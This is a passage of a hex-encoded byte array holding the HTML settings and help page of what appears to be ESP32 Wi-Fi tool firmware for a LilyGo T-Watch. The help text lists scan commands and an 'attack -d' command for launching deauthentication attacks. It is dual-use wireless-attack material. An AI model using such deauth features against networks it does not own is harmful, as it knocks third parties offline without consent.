0x30, 0x42, 0x53, 0x54, 0x2C, 0x4D, 0x33, 0x2E, 0x35, 0x2E, 0x30, 0x2F, 0x31, 0x2C, 0x4D, 0x31, - 0x30, 0x2E, 0x35, 0x2E, 0x30, 0x2F, 0x32, 0x22, 0x3E, 0x42, 0x72, 0x69, 0x74, 0x69, 0x73, 0x68, 0x20, 0x53, 0x75, 0x6D, 0x6D, 0x65, 0x72, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x47, 0x4D, 0x54, 0x2F, 0x42, 0x53, 0x54, 0x29, 0x3C, 0x2F, - 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, - 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x43, 0x45, 0x54, 0x2D, 0x31, 0x43, 0x45, 0x53, 0x54, 0x2C, 0x4D, 0x33, 0x2E, 0x35, 0x2E, 0x30, 0x2C, 0x4D, 0x31, 0x30, 0x2E, 0x35, 0x2E, 0x30, 0x2F, 0x33, 0x22, 0x3E, - 0x43, 0x65, 0x6E, 0x74, 0x72, 0x61, 0x6C, 0x20, 0x45, 0x75, 0x72, 0x6F, 0x70, 0x65, 0x61, 0x6E, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x43, 0x45, 0x54, 0x2F, 0x43, 0x45, 0x53, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, - 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, - 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x4A, 0x53, 0x54, 0x2D, 0x39, 0x22, 0x3E, 0x4A, 0x61, 0x70, 0x61, 0x6E, 0x20, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x4A, 0x53, 0x54, 0x29, 0x3C, 0x2F, - 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, - 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x43, 0x53, 0x54, 0x2D, 0x38, 0x22, 0x3E, 0x43, 0x68, 0x69, 0x6E, 0x61, 0x20, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, - 0x43, 0x53, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, - 0x2F, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x22, 0x3E, - 0x4C, 0x69, 0x6C, 0x79, 0x47, 0x6F, 0x20, 0x54, 0x2D, 0x57, 0x61, 0x74, 0x63, 0x68, 0x20, 0x44, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x20, 0x28, 0x6D, 0x73, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, - 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x53, 0x65, 0x74, 0x20, 0x68, 0x6F, 0x77, 0x20, 0x6C, 0x6F, 0x6E, 0x67, - 0x20, 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x20, 0x74, 0x75, 0x72, 0x6E, 0x73, 0x20, 0x6F, 0x66, 0x66, 0x20, 0x77, 0x68, 0x65, 0x6E, 0x20, 0x69, 0x6E, 0x61, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x20, 0x28, 0x31, 0x30, 0x30, 0x30, 0x2D, 0x36, 0x30, 0x30, 0x30, 0x30, 0x20, 0x6D, 0x73, 0x29, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x5F, 0x74, 0x69, 0x6D, 0x65, - 0x6F, 0x75, 0x74, 0x22, 0x20, 0x6D, 0x69, 0x6E, 0x3D, 0x22, 0x31, 0x30, 0x30, 0x30, 0x22, 0x20, 0x6D, 0x61, 0x78, 0x3D, 0x22, 0x36, 0x30, 0x30, 0x30, 0x30, 0x22, 0x20, 0x73, 0x74, 0x65, 0x70, 0x3D, 0x22, 0x31, 0x30, 0x30, 0x30, 0x22, 0x20, - 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x31, 0x30, 0x30, 0x30, 0x20, 0x2D, 0x20, 0x36, 0x30, 0x30, 0x30, 0x30, 0x20, 0x6D, 0x73, 0x22, 0x20, 0x72, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x64, 0x3E, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x3D, 0x22, 0x73, 0x61, 0x76, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x28, 0x29, 0x22, 0x3E, 0x53, 0x61, - 0x76, 0x65, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x48, 0x65, 0x6C, 0x70, 0x20, 0x54, 0x61, 0x62, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x48, 0x65, 0x6C, 0x70, 0x22, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x67, 0x72, 0x69, 0x64, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, - 0x6F, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, 0x32, 0x3E, 0x45, 0x53, 0x50, 0x33, 0x32, 0x20, 0x43, 0x6F, 0x6D, 0x6D, - 0x61, 0x6E, 0x64, 0x73, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x75, 0x6C, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, - 0x3D, 0x22, 0x68, 0x65, 0x6C, 0x70, 0x2D, 0x6C, 0x69, 0x73, 0x74, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, - 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, - 0x3E, 0x68, 0x65, 0x6C, 0x70, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x44, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x68, 0x65, 0x6C, 0x70, 0x20, 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, - 0x65, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, - 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x68, 0x65, 0x6C, 0x70, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x73, 0x63, 0x61, 0x6E, 0x61, 0x70, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x61, - 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x61, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x20, 0x28, 0x41, 0x50, 0x29, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, - 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x63, 0x61, 0x6E, 0x61, 0x70, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, - 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x73, 0x63, 0x61, 0x6E, 0x73, 0x74, 0x61, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x66, - 0x6F, 0x72, 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, - 0x65, 0x3E, 0x73, 0x63, 0x61, 0x6E, 0x73, 0x74, 0x61, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x73, 0x74, 0x6F, 0x70, 0x73, - 0x63, 0x61, 0x6E, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x6F, 0x70, 0x20, 0x61, 0x6E, 0x79, 0x20, 0x6F, 0x6E, 0x67, 0x6F, 0x69, 0x6E, 0x67, 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x73, 0x63, 0x61, - 0x6E, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, - 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x74, 0x6F, 0x70, 0x73, 0x63, 0x61, 0x6E, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, - 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6B, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x4C, 0x61, 0x75, - 0x6E, 0x63, 0x68, 0x20, 0x61, 0x6E, 0x20, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x28, 0x65, 0x2E, 0x67, 0x2E, 0x2C, 0x20, 0x64, 0x65, 0x61, 0x75, 0x74, 0x68, 0x65, 0x6E, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x61, 0x74, - 0x74, 0x61, 0x63, 0x6B, 0x29, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x2D, 0x64, 0x3C, - 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x41, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x64, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, - 0x61, 0x72, 0x74, 0x20, 0x64, 0x65, 0x61, 0x75, 0x74, 0x68, 0x20, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x6C, 0x69, 0x73, 0x74, - 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x4C, 0x69, 0x73, 0x74, 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x73, 0x20, 0x6F, 0x72, 0x20, 0x63, 0x6F, - 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 